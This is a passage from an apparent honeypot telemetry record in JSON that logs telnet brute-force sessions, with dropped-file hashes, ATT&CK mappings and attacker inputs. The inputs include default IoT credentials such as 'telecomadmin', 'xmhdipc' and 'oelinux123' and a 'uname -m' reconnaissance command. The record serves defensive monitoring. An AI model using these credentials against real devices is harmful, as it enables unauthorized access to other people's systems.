2026","size":34,"mime_type":"text/plain","kind":"downloaded","times":2,"first_seen":"2026-10-24T15:37:41","last_seen":"2026-10-24T15:40:58","virustotal":null},{"sha256":"58573319e32de468de2a38f7c20be93cb97b7d1742dbc84f475b9a00aa5afcd7","name":"1","size":1408,"mime_type":"text/x-shellscript","kind":"shell-write","times":2,"first_seen":"2026-10-24T15:37:41","last_seen":"2026-10-24T15:40:58","virustotal":null},{"sha256":"cc5727e8b40aff22a00f2bb04f0ea462edd76b98c7b795ca0d438656e2dff474","name":"1","size":1280,"mime_type":"text/x-shellscript","kind":"shell-write","times":2,"first_seen":"2026-10-24T15:37:41","last_seen":"2026-10-24T15:40:58","virustotal":null},{"sha256":"98712e36702af56e1c89646d3ff185106c0a3228784eebbce25acc9fb900e0b3","name":"1","size":1152,"mime_type":"text/x-shellscript","kind":"shell-write","times":2,"first_seen":"2026-10-24T15:37:41","last_seen":"2026-10-24T15:40:58","virustotal":null},{"sha256":"062bf395e59530917781abb9afc2baf93ca756bd273009853cd0279fd98afb8f","name":"1","size":1024,"mime_type":"text/x-shellscript","kind":"shell-write","times":2,"first_seen":"2026-10-24T15:37:41","last_seen":"2026-10-24T15:40:58","virustotal":null},{"sha256":"9a723e551e1fed68a335f8583b872ec8c3adbfeb91677fc9b6a1c4e91cc9da3c","name":"1","size":896,"mime_type":"text/x-shellscript","kind":"shell-write","times":2,"first_seen":"2026-10-24T15:37:41","last_seen":"2026-10-24T15:40:58","virustotal":null},{"sha256":"657fc9db28761e1c22c6f41508526dd8a5e301760919684b6bb41decda8ed3c5","name":"1","size":768,"mime_type":"text/x-shellscript","kind":"shell-write","times":2,"first_seen":"2026-10-24T15:37:41","last_seen":"2026-10-24T15:40:58","virustotal":null},{"sha256":"aefc31bbb33598cc47bad1bf1516b781fc45f35271b916f31f61ffd723b58a0f","name":"1","size":640,"mime_type":"text/x-shellscript","kind":"shell-write","times":2,"first_seen":"2026-10-24T15:37:41","last_seen":"2026-10-24T15:40:58","virustotal":null},{"sha256":"b309ca336978ec3d0b60a15a4fe124c2e21c616109b2c570aebf626b635a1a19","name":"1","size":512,"mime_type":"text/x-shellscript","kind":"shell-write","times":2,"first_seen":"2026-10-24T15:37:41","last_seen":"2026-10-24T15:40:58","virustotal":null},{"sha256":"461cd2eeee1561820048c838f4a2dad9a2b8fd9f8240d13b37b6015435f775ab","name":"1","size":384,"mime_type":"text/x-shellscript","kind":"shell-write","times":2,"first_seen":"2026-10-24T15:37:41","last_seen":"2026-10-24T15:40:57","virustotal":null},{"sha256":"1ce10d10ae5ca39978ebd4de9700a3f051704598057b87eddee98a6578ad8a15","name":"1","size":256,"mime_type":"text/x-shellscript","kind":"shell-write","times":2,"first_seen":"2026-10-24T15:37:41","last_seen":"2026-10-24T15:40:57","virustotal":null},{"sha256":"dd80c4d088938c82471bd942d5d16a26279c0400768eff32c90de6374f91277c","name":"1","size":128,"mime_type":"text/x-shellscript","kind":"shell-write","times":2,"first_seen":"2026-10-24T15:37:40","last_seen":"2026-10-24T15:40:57","virustotal":null},{"sha256":"c0ea43943e24efccaabc418ca424fcbbbe3fe91be0e8ff2a60f544b1d8bbf6cb","name":"1","size":93056,"mime_type":"application/x-executable","kind":"shell-write","times":1,"first_seen":"2026-10-24T15:44:13","last_seen":"2026-10-24T15:44:13","virustotal":null},{"sha256":"f9f10e4a5bdfaa766e92ee91fde48e89d56d4f764b24a0c6b0896182bac29faf","name":"1","size":92928,"mime_type":"application/x-executable","kind":"shell-write","times":1,"first_seen":"2026-10-24T15:44:13","last_seen":"2026-10-24T15:44:13","virustotal":null},{"sha256":"f334e82117dce7e218c4288200d196a1b213303c8c63dc2268e07d0fa5dc475c","name":"1","size":92800,"mime_type":"application/x-executable","kind":"shell-write","times":1,"first_seen":"2026-10-24T15:44:13","last_seen":"2026-10-24T15:44:13","virustotal":null},{"sha256":"5456eec97120920fd0895946857df77c081f0531fe76b4ddc63fda728e9bbb13","name":"1","size":92672,"mime_type":"application/x-executable","kind":"shell-write","times":1,"first_seen":"2026-10-24T15:44:13","last_seen":"2026-10-24T15:44:13","virustotal":null}],"attack":[{"technique_id":"T1078","technique_name":"Valid Accounts","tactic_id":"TA0001","tactic_name":"Initial Access","sessions":13},{"technique_id":"T1059.004","technique_name":"Command and Scripting Interpreter: Unix Shell","tactic_id":"TA0002","tactic_name":"Execution","sessions":13},{"technique_id":"T1110","technique_name":"Brute Force","tactic_id":"TA0006","tactic_name":"Credential Access","sessions":28},{"technique_id":"T1105","technique_name":"Ingress Tool Transfer","tactic_id":"TA0011","tactic_name":"Command and Control","sessions":3}]},"top_ports":[{"port":23,"proto":"tcp","label":"Telnet","count":0,"sessions":29}],"fingerprints":{"ssh_hassh":[],"tls_ja4":[],"tls_client_hello":"","tls_ja3":[],"http_akin":[],"interactive":{"ssh_hassh":[],"tls_ja4":[],"tls_ja3":[]}},"fingerprint_peers":{},"akin_families":{},"user_agents":[],"timeline":[{"date":"2026-10-24","count":0,"sessions":12},{"date":"2026-10-25","count":0,"sessions":4},{"date":"2026-10-26","count":0,"sessions":13}],"recent_events":[{"timestamp":"2026-10-26T01:00:19","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"uname -m","payload_hex":"756e616d65202d6d","method":"","user_agent":"","ja3":"","session":"88e7ea0f-ca32-45e9-bba2-f90cb807a2bd-3","seq":3,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"c7a75171158ee220","strings":["uname -m"]},"interactive":true},{"timestamp":"2026-10-26T01:00:19","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"oelinux123","payload_hex":"6f656c696e7578313233","method":"","user_agent":"","ja3":"","session":"94681b13-f48e-4ec2-89de-e9a505860cbd-2","seq":2,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"717f6480311081d8","strings":["oelinux123"]},"interactive":true},{"timestamp":"2026-10-26T01:00:19","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"uname -m","payload_hex":"756e616d65202d6d","method":"","user_agent":"","ja3":"","session":"b9c990b5-4bab-47f6-b529-2f591943f0d6-3","seq":3,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"c7a75171158ee220","strings":["uname -m"]},"interactive":true},{"timestamp":"2026-10-26T01:00:19","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"admintelecom","payload_hex":"61646d696e74656c65636f6d","method":"","user_agent":"","ja3":"","session":"88e7ea0f-ca32-45e9-bba2-f90cb807a2bd-2","seq":2,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"62fdbe21cf61f637","strings":["admintelecom"]},"interactive":true},{"timestamp":"2026-10-26T01:00:19","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"xmhdipc","payload_hex":"786d6864697063","method":"","user_agent":"","ja3":"","session":"878a7c4b-da0e-44da-baf0-66a64495ecd5-2","seq":2,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"068767b389590dbb","strings":["xmhdipc"]},"interactive":true},{"timestamp":"2026-10-26T01:00:19","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"root","payload_hex":"726f6f74","method":"","user_agent":"","ja3":"","session":"94681b13-f48e-4ec2-89de-e9a505860cbd-1","seq":1,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"dc76e9f0c0006e8f","strings":["root"]},"interactive":true},{"timestamp":"2026-10-26T01:00:18","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"root621","payload_hex":"726f6f74363231","method":"","user_agent":"","ja3":"","session":"5374e38d-d9dd-40d4-a2bc-fb29149b52c2-2","seq":2,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"5b7d7229fb26cb7c","strings":["root621"]},"interactive":true},{"timestamp":"2026-10-26T01:00:18","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"5up","payload_hex":"357570","method":"","user_agent":"","ja3":"","session":"b9c990b5-4bab-47f6-b529-2f591943f0d6-2","seq":2,"duration_ms":0,"bytes_in":0,"bytes_out":0,"interactive":true},{"timestamp":"2026-10-26T01:00:18","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"telecomadmin","payload_hex":"74656c65636f6d61646d696e","method":"","user_agent":"","ja3":"","session":"88e7ea0f-ca32-45e9-bba2-f90cb807a2bd-1","seq":1,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"10ffe60d53e77032","strings":["telecomadmin"]},"interactive":true},{"timestamp":"2026-10-26T01:00:18","port":23,"proto":"tcp","app_proto":"telnet","app_protocol":"telnet","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"root","payload_hex":"726f6f74","method":"","user_agent":"","ja3":"","session":"878a7c4b-da0e-44da-baf0-66a64495ecd5-1","seq":1,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"dc76e9f0c0006e8f","strings":["root"]},"interactive":true}],"http_methods":[],"distinct_ports_total":1,"top_paths":[],"distinct_paths_total":0,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":null,"tags":[{"tag_id":"post-exploitation","tag_type":"interactive","label":"post-exploitation","title":"Ran commands after logging in","sessions":13},{"tag_id":"shell","tag_type":"interactive","label":"shell","title":"Typed shell commands","sessions":13},{"tag_id":"download","tag_type":"interactive","label":"download","title":"Named a file to download","sessions":3},{"tag_id":"logins","tag_type":"interactive","label":"logins","title":"Tried logins","sessions":28}]}